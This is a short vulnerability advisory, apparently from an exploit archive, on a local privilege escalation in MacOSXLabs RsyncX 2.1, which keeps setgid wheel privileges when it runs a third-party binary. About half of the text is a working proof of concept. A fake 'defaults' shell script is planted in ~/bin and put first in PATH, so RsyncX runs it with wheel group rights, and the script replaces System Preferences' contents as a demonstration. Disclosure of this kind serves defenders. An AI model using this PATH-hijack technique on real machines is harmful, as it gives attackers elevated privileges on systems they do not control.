MacOSXLabs RsyncX 2.1 - Local Privilege Escalation

source: https://www.securityfocus.com/bid/11211/info

It is reported that RsyncX is prone to a local privilege escalation vulnerability.

RsyncX is installed setuid root and setgid wheel. It is reported that RsyncX drops root privileges properly but fails to drop setgid wheel privileges before executing a third party binary. 

A local attacker may exploit this vulnerability to execute arbitrary code with group wheel privileges.

The following example is available:

First, make a backup of System\ Preferences.app

Create an executable file ~/bin/defaults with contents of:

=============================
#!/bin/sh
mv "/Applications/System Preferences.app/Contents" "/Applications/System Preferences.app/oldcont"
cp -r "/Applications/Calculator.app/Contents" "/Applications/System Preferences.app/Contents"
=============================

Then run RsyncX with ~/bin in your path:

PATH=~/bin:$PATH /Applications/Utilities/RsyncX.app/Contents/MacOS/RsyncX

Click on System Preferences, and is now a calculator.